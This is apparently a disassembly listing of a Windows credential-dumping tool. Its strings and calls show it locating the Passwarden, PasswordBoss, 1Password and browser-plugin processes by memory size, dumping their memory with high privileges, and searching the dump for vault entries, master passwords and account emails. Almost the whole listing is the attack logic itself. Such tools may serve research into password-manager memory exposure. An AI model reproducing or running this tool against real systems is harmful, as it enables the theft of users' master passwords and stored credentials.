call qword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x14001066d
mov rcx, qword [rbp + 0x48]
xorps xmm0, xmm0
test rcx, rcx
js 0x140010619
cvtsi2sd xmm0, rcx
jmp 0x14001062e
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, xmm6
mov dword [rbp - 0x78], r14d
movsd qword [rbp - 0x70], xmm0
cmp rbx, r15
je 0x140010652
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rbx], xmm0
add rbx, 0x10
mov qword [rsp + 0x30], rbx
jmp 0x14001066d
lea r8, [rbp - 0x78]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.140016070
mov r15, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
cmp rdi, r12
jne 0x1400105d0
lea rcx, [rsp + 0x28]
call fcn.1400014a0
test eax, eax
je 0x14001069a
mov ecx, eax
call fcn.140001a60
jmp 0x1400106be
lea rdx, str.No_process_with_the_second_largest_Private_Working_Set_size_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x140010701
mov rdx, qword [rsp + 0x38]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400106fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400106fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
mov r15, qword [rsp + 0x68]
mov r14, qword [rsp + 0x78]
lea rdx, str.Searching_for_entries__1_2_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.140006720
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Searching_for_entries__2_2_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.140006f70
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.If_zero_credentials_were_found__ensure_that_the_app_is_up_and_running__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400107e8
mov rax, qword [rsp + 0x58]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400107e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400107e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, str.No_processes_with_the_specified_name_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14001070b
call fcn.140016acc
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 0xa
jne 0x1400108b6
mov r8, r14
lea rdx, str.passwarden
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400108b6
lea rdx, str.User_input_matches_passwarden._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Only_entries_should_be_available._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rcx, str.Passwarden.App.exe
call fcn.1400017c0
test eax, eax
je 0x140010855
mov ecx, eax
call fcn.140001a60
jmp 0x140010878
lea rdx, str.No_process_with_this_PID_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Searching_for_entries._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.14000dc10
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.If_zero_credentials_were_found__ensure_that_the_app_is_up__unlocked_and_running__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 0xc
jne 0x1400109af
mov r8, r14
lea rdx, str.passwordboss
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400109af
lea rdx, str.User_input_matches_passwordboss._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Only_entries_should_be_available._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rcx, str.PasswordBoss.exe
call fcn.1400017c0
test eax, eax
je 0x140010923
mov ecx, eax
call fcn.140001a60
jmp 0x140010946
lea rdx, str.No_process_with_this_PID_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Searching_for_entries__1_2_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.14000ea50
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Searching_for_entries__2_2_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
call fcn.14000f150
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.If_zero_credentials_were_found__ensure_that_the_app_is_up__unlocked_and_running__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xor r12d, r12d
mov qword [rbp - 0x10], r12
mov esi, 0xf
mov qword [rbp - 8], rsi
mov byte [rbp - 0x20], r12b
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
cmp r14, 9
jne 0x1400117bd
mov r8, r14
lea rdx, str.1password
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400117bd
lea rdx, str.Enter_0_if_it_is_1Password_browser_plugin__otherwise_enter_1__app_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, [rbp - 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400151b0
lea rcx, [rbp - 0x20]
mov rdi, qword [rbp - 0x20]
mov rsi, qword [rbp - 8]
cmp rsi, 0x10
cmovae rcx, rdi
mov rbx, qword [rbp - 0x10]
cmp rbx, 1
jne 0x140010f1a
mov r8, rbx
lea rdx, [0x14001a608]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140010f1a
lea rdx, str.User_input_matches_1password_app._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.1Password_contains_all_relevant_credentials__master_pass__username__entries__etc._._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.1Password_needs_High_Integrity_Privileges_to_dump_the_relevant_process__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Choose_0_to_provide_the_dump_file_name_as_input__dump_the_file_manually__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.or_1_for_this_tool_to_automatically_dump_the_relevant_process_and_analyze_it__this_choice_needs_high_integrity_privileges_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], r12b
lea rdx, [rsp + 0x48]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400151b0
lea rcx, [rsp + 0x48]
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x60]
cmp rsi, 0x10
cmovae rcx, rdi
mov rbx, qword [rsp + 0x58]
cmp rbx, 1
jne 0x1400110d4
mov r8, rbx
lea rdx, [0x14001a7c0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400110d4
lea rdx, str.Include_the_dump_file_in_the_same_directory_with_this_.exe._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Provide_the_dump_file_name_as_an_input__e.g.__app.dmp_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], 0xf
mov byte [rsp + 0x28], r12b
lea rdx, [rsp + 0x28]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400151b0
lea rdx, str.Searching_for_entries__1_2_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], r12
lea r14, [rsp + 0x28]
mov r13, qword [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae r14, r13
movabs rbx, 0x7fffffffffffffff
mov rsi, qword [rsp + 0x38]
cmp rsi, rbx
ja 0x140013657
movabs r15, 0x8000000000000000
mov r12d, 0x16
mov qword [rbp - 0x60], 0xf
cmp rsi, 0x10
jae 0x140010beb
mov qword [rbp - 0x68], rsi
movups xmm0, xmmword [r14]
movups xmmword [rbp - 0x78], xmm0
jmp 0x140010c6f
mov rdi, rsi
or rdi, 0xf
cmp rdi, rbx
jbe 0x140010c1c
mov rdi, rbx
lea rax, [r15 + 0x27]
mov rcx, rax
call fcn.140016a90
mov rcx, rax
test rax, rax
je 0x140010c3f
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140010c54
cmp rdi, r12
cmovb rdi, r12
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140010c46
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140013645
jmp 0x140010bfe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140010c52
call fcn.140016a90
jmp 0x140010c54
xor eax, eax
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x60], rdi
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp - 0x78]
call fcn.1400037d0
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Searching_for_entries__2_2_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], 0
lea r14, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae r14, r13
mov qword [rbp - 0x40], 0xf
cmp rsi, 0x10
jae 0x140010cdb
mov qword [rbp - 0x48], rsi
movups xmm0, xmmword [r14]
movups xmmword [rbp - 0x58], xmm0
jmp 0x140010d5f
mov rdi, rsi
or rdi, 0xf
cmp rdi, rbx
jbe 0x140010d0c
mov rdi, rbx
lea rax, [r15 + 0x27]
mov rcx, rax
call fcn.140016a90
mov rcx, rax
test rax, rax
je 0x140010d2f
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140010d44
cmp rdi, r12
cmovb rdi, r12
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x140010d36
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001364b
jmp 0x140010cee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140010d42
call fcn.140016a90
jmp 0x140010d44
xor eax, eax
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], rdi
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp - 0x58]
call fcn.1400040a0
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Searching_for_master_credentials._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], 0
lea rdi, [rsp + 0x28]
mov r14, qword [rsp + 0x40]
cmp r14, 0x10
cmovae rdi, r13
mov qword [rbp - 0x40], 0xf
cmp rsi, 0x10
jae 0x140010dcd
mov qword [rbp - 0x48], rsi
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x58], xmm0
jmp 0x140010e51
mov rax, rsi
or rax, 0xf
cmp rax, rbx
jbe 0x140010dfb
lea rax, [r15 + 0x27]
mov rcx, rax
call fcn.140016a90
mov rcx, rax
test rax, rax
je 0x140010e21
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140010e36
mov rbx, rax
cmp rax, r12
cmovb rbx, r12
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140010e28
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140013651
jmp 0x140010ddd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140010e34
call fcn.140016a90
jmp 0x140010e36
xor eax, eax
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], rbx
lea r8, [rsi + 1]
mov rdx, rdi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp - 0x58]
call fcn.140003020
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
nop
cmp r14, 0x10
jb 0x140010ea8
lea rdx, [r14 + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x140010ea0
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010ea0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r13
call fcn.140016acc
xor r12d, r12d
mov r13, qword [rbp - 0x80]
mov r14, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x48]
lea rdx, str.If_zero_credentials_were_found__ensure_that_the_app_is_up__unlocked_and_running__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
nop
mov rax, qword [rsp + 0x60]
cmp rax, 0x10
jb 0x140010f09
lea rdx, [rax + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140010f01
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400115e3
mov rcx, rdi
call fcn.140016acc
mov rsi, qword [rbp - 8]
mov r15, qword [rsp + 0x68]
mov rdi, qword [rbp - 0x20]
mov rbx, qword [rbp - 0x10]
lea rcx, [rsp + 0x68]
cmp r13, 0x10
cmovae rcx, r15
mov r8, r14
lea rdx, str.1password
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400117bd
lea rcx, [rbp - 0x20]
cmp rsi, 0x10
cmovae rcx, rdi
cmp rbx, 1
jne 0x1400117bd
mov r8, rbx
lea rdx, [0x14001a7c0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400117bd
lea rdx, str.User_input_matches_1Password_browser_plugin._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.1Password_browser_plugin_only_contains_master_password_and_the_account_email__username__of_the_user._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Regardless_of_the_browser__the_largest_in_size_process_must_be_found._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Provide_the_browser__e.g.__firefox__chrome_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], r12
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], 0
lea rdx, [rbp - 0x58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400151b0
lea rcx, [rbp - 0x58]
mov r13, qword [rbp - 0x58]
mov rsi, qword [rbp - 0x40]
cmp rsi, 0x10
cmovae rcx, r13
mov rbx, qword [rbp - 0x48]
cmp rbx, 7
jne 0x1400115ea
mov r8, rbx
lea rdx, str.firefox
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400115ea
lea rdx, str.User_input_was_for_Firefox._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
lea rdx, str.firefox.exe
lea rcx, [rsp + 0x48]
call fcn.140001ca0
nop
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
cmp rdi, r12
je 0x14001157c
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x28], xmm1
xor r15d, r15d
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x20], 0x4000
mov rbx, qword [rsp + 0x30]
nop dword [rax]
mov r14d, dword [rdi]
mov r8d, r14d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x14001145e
mov r8d, 0x50
lea rdx, [rbp]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetProcessMemoryInfo]
test eax, eax
je 0x140011455
mov rcx, qword [rbp + 0x48]
xorps xmm0, xmm0
test rcx, rcx
js 0x140011401
cvtsi2sd xmm0, rcx
jmp 0x140011416
lea rcx, [rsp + 0x48]
cmp rsi, 0x10
cmovae rcx, rdi
cmp rbx, 1
jne 0x140010eb9
mov r8, rbx
lea rdx, [0x14001a608]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140010eb9
lea rdx, str.User_input_was_for_1Password._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Assume_that_we_have_high_integrity_privileges._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rcx, [rbp - 0x78]
call fcn.140005130
nop
lea rcx, [rbp - 0x78]
mov rbx, qword [rbp - 0x78]
mov r14, qword [rbp - 0x60]
cmp r14, 0x10
cmovae rcx, rbx
mov rdi, qword [rbp - 0x68]
test rdi, rdi
jne 0x14001118a
mov r8, rdi
lea rdx, [0x140019651]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14001118a
lea rdx, str.No_process_with_the_third_largest_Private_Working_Set_size_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x140011287
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], r12
lea rsi, [rbp - 0x78]
cmp r14, 0x10
cmovae rsi, rbx
movabs rbx, 0x7fffffffffffffff
cmp rdi, rbx
ja 0x14001365d
mov qword [rsp + 0x40], 0xf
cmp rdi, 0x10
jae 0x1400111dc
mov qword [rsp + 0x38], rdi
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x28], xmm0
jmp 0x14001127d
mov rax, rdi
or rax, 0xf
cmp rax, rbx
jbe 0x1400111f8
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140011225
mov rbx, rax
mov r12d, 0x16
cmp rax, r12
cmovb rbx, r12
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14001124a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001363f
xor r12d, r12d
mov rcx, rax
call fcn.140016a90
mov rcx, rax
test rax, rax
je 0x140011243
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14001125f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140011259
call fcn.140016a90
xor r12d, r12d
jmp 0x14001125f
xor r12d, r12d
mov eax, r12d
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x28]
call fcn.140004960
lea rdx, str.Searching_for_entries__1_2_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], 7
mov qword [rbp - 0x40], 0xf
mov rax, qword [str.app.dmp]
mov dword [rbp - 0x58], eax
movzx eax, word [0x1400197a4]
mov word [rbp - 0x54], ax
movzx eax, byte [0x1400197a6]
mov byte [rbp - 0x52], al
mov byte [rbp - 0x51], 0
lea rcx, [rbp - 0x58]
call fcn.1400037d0
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Searching_for_entries__2_2_._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], 7
mov qword [rbp - 0x40], 0xf
mov rax, qword [str.app.dmp]
mov dword [rbp - 0x58], eax
movzx eax, word [0x1400197a4]
mov word [rbp - 0x54], ax
movzx eax, byte [0x1400197a6]
mov byte [rbp - 0x52], al
mov byte [rbp - 0x51], 0
lea rcx, [rbp - 0x58]
call fcn.1400040a0
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
lea rdx, str.Searching_for_master_pass._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], 7
mov qword [rbp - 0x40], 0xf
mov rax, qword [str.app.dmp]
mov dword [rbp - 0x58], eax
movzx eax, word [0x1400197a4]
mov word [rbp - 0x54], ax
movzx eax, byte [0x1400197a6]
mov byte [rbp - 0x52], al
mov byte [rbp - 0x51], 0
lea rcx, [rbp - 0x58]
call fcn.140003020
lea rdx, str.Done__n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140014c50
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x140010eaf
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400113f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400113f7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140016acc
jmp 0x140010eaf
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2sd xmm0, rax
addsd xmm0, xmm0
mulsd xmm0, xmm6
mov dword [rbp - 0x78], r14d
movsd qword [rbp - 0x70], xmm0
cmp rbx, r15
je 0x14001143a
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rbx], xmm0
add rbx, 0x10
mov qword [rsp + 0x30], rbx
jmp 0x140011455
lea r8, [rbp - 0x78]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.140016070
mov r15, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rdi, 4
cmp rdi, r12
jne 0x140011080
lea rcx, [rsp + 0x28]
call fcn.140001300
test eax, eax
je 0x140011482
mov ecx, eax
call fcn.140001a60
jmp 0x1400114a6
lea rdx, str.No_process_with_the_first_largest_Private_Working_Set_size_found.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140014c50
mov rcx, rax
lea rdx, [0x140014e20]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x1400114e9
mov rdx, qword [rsp + 0x38]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400114e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
